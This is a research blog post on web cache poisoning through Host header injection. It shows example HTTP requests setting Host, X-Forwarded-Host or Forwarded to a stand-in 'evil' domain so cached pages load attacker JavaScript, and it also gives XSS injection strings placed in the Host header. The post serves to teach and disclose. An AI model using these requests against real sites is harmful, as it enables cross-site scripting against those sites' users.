by @bo0om, Wallarm Research
Caching is a great technology practice. It makes life better for everybody — clients get the data faster, servers expend fewer resources and so on. There is even a whole CDN industry that was built to deliver caching as a service.
There are many examples of caching configuration and tuning, but what I would like to talk about today are possible vulnerabilities in the caching techniques and methodology.
Some environments are configured in such a way that static files are cached based on their extensions. For examples, such files as css or js are cached.
Omer Gil in his blog describes the behavior where a web application, that initially sends a “200” OK response to a non-existing URL, than adding a static file extension to it (e.g. css) causes the page to get cached and makes it available to an anonymous user (attacker). More details about this hack are available in Omer’s blog.
Specifics of some web applications
Many sites are designed to insert the current domain name into the page. In the example of nginx server, it is sufficient for the following configuration fragment to be present:
server {
listen 80;
server_name _; // accept any domain name
…
}
As long as the web application uses $_SERVER[‘HTTP_HOST’]
or something similar
When loading the page mysite/index.php
, the following code shows up:
<script src=’https://mysite/assets/js/jquery.js'></script>
At the same time, if one opens an HTTP request with one’s own Host header
GET /index.php HTTP/1.1
Host: evil
the code on the page changes:
<script src=’https://evil/assets/js/jquery.js'></script>
If we were to change the domain name, the paths for loading resources and links to other pages have also changed. You’ve probably encountered such web sites, but understand, that it is impossible to send a link with one’s own Host header.
But is it really impossible?
A word about caching
Caching can be classified into several distinct categories:
Caching files without parameters
https://mysite/pic.jpg
— will get cachedhttps://mysite/pic.jpg?myparam=test
— will not get cached, neither will other pages that have parameters in the urls.
Caching with parameters ignored
https://mysite/pic.jpg?myparam=test
https://mysite/pic.jpg?myparam=test&myparam2=test2
A cache request will return: https://mysite/pic.jpg
Caching of each unique URL
https://mysite/pic.jpg?myparam=test
https://mysite/pic.jpg?myparam2=test2
Each unique URL will be cached separately
This is why some resources cache the first call to a page if this is the first time these parameters are showing up.
The idea here is to replace the Host header, creating a new unique URL that didn’t exist in a web app up to now.
GET /?MyUniqParam=test1337 HTTP/1.1
Host: evil.com
If such a URL ends up in the cache (not an uncommon occasion), we will be able to load our own java script from a resource we control.
By sending a URL https://mysite/?MyUniqParam=test1337
, we enable ourselves to execute an XSS attack, since the page has already cached our domain.
<script src=’https://evil.com/assets/js/jquery.js'></script>
Or alternatively:
Another way to send a substitute header can be the following request:
GET https://evil/?myparam=test
Host: mysite
If user data on the page do not allow the attack to be executed, we can try to modify the header.
For starters, we can try to execute a classic HTML injection by sending a known XSS vector in the header.
There is also another trick. Some web servers ignore the content of a header Host after the “:
” sign, which can also be present in the page content.
To take advantage of this, try the following request:
Host: mysite:”><xss>
If these symbols do get filtered, try adding “@
”:
Host: mysite:@evil
The final URL that gets put together will leave out some data — mysite will be treated as login info for the basic authentication, while the end of the request will include “evil”
Yet another trick to try is to append your own data to the end after a space:
Host: mysite “><xss>
In some cases, headers X-Forwarded-Host and Forwarded can overwrite the current value of Host. Headers can be simply added alongside the legitimate ones:
GET /?myparam=test HTTP/1.1
Host: mysite
X-Forwarded-Host: evil
Header Forwarded looks slightly different, but works in the same way:
GET /?myparam=test HTTP/1.1
Host: mysite
Forwarded: host=evil
If caching is configured based on certain folders or file formats, it may be possible to create an exploit by creating a unique link not to the parameters on the page, but by adding a static extensions, such as js or css. Or you can try to get to the directories that may have been configured for aggressive caching, such as /static
/, /js/
, /upload/
.
In summary — most caching is useful, but there can still be problems. In addition to the Host header, an exploit can be put together by using other data that end up on the page, for example, User-agent or Referer. Because of the way web applications work, in many cases it is possible to poison the cache and, consequently, execute an attack. It’s worth trying out to understand better.